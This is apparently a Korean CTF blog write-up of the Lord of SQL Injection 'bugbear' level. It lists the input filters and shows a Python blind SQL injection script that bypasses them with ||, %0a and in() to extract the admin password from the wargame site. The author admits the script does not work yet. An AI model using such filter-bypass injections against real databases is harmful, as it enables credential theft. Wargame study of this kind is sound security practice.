#About
[그림 1] - 문제 화면
#Solution
위 문제는 데이터베이스에 질의를 통해 admin의 직접적인 pw 값을 알아오는 것이므로 Blind SQL Injection 문제이며,
위 문제를 해결하기 위해 우회해야하는 필터링의 목록으로는 싱글쿼터, substr, ascii, =, or , and, 공백, like, 0x 가 있다
기존에 계속 사용해왔으며, 문자열 비교를 의미하는 = 과 like 가 필터링이 되어 있기에 우회 방법을 찾아야하며
=과 like의 우회 방법으로는 in이 있으며 우회 쿼리로는 아래와 같다
[그림 2] - 쿼리 1
위 쿼리를 통해 pw의 값의 길이가 8임을 구할 수 있었다
[그림 3] - 쿼리 2
[그림 4] - 쿼리 3
[그림 5] - 쿼리 4
[그림 6] - 쿼리 5
[그림 7] - 쿼리 6
[그림 8] - 쿼리 7
[그림 9] - 쿼리 8
[그림 10] - 쿼리 9
[그림 11] - 문제 해결
#Blind SQL Injection Python Code
코드 동작 x 업뎃예정 ㅜㅜ....
# -*- coding:utf-8 -*-
'''
Creator = Loddy
'''
import urllib2
query_ok = "<h2>Hello admin"
key="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXZY"
print "[*] Start Search pw Length "
for len in range(1,100):
url = 'http://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?no=1||length(pw)%0ain({})'.format(str(len))
request = urllib2.Request(url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'})
request.add_header("COOKIE", "PHPSESSID=nuf1ik7j4dm16sb1tgi3eb64o2")
read = urllib2.urlopen(request).read()
if read.find(query_ok) != -1:
print "\t%s = Correct"%(len)
length = len
break
else :
print "\t%s = Incorrect"%(len)
print "\n",
print "[*] Start Search pw Value"
def find_pw(test,pw):
url2 = "http://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?no=1||mid(pw," + str(pw) + ",1)%0ain({})".format(key[test])
request = urllib2.Request(url2, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'})
request.add_header("COOKIE", "PHPSESSID=nuf1ik7j4dm16sb1tgi3eb64o2")
read = urllib2.urlopen(request).read()
return read
for pw in range(1,length+1):
for test in range(0,63):
read = find_pw(test,pw)
if read.find(query_ok) != -1:
print "\t(pw,%d,1) = {}".format(key[test]) %pw
break
'Wargame' 카테고리의 다른 글
[Lord of SQL Injection] Assassin (0) | 2017.11.02 |
---|---|
[Lord of SQL Injection] Giant (0) | 2017.11.01 |
[Lord of SQL Injection] Darkknight (0) | 2017.10.30 |
[Lord of SQL Injection] Golem (0) | 2017.10.30 |
[Lord of SQL Injection] Skeleton (0) | 2017.10.30 |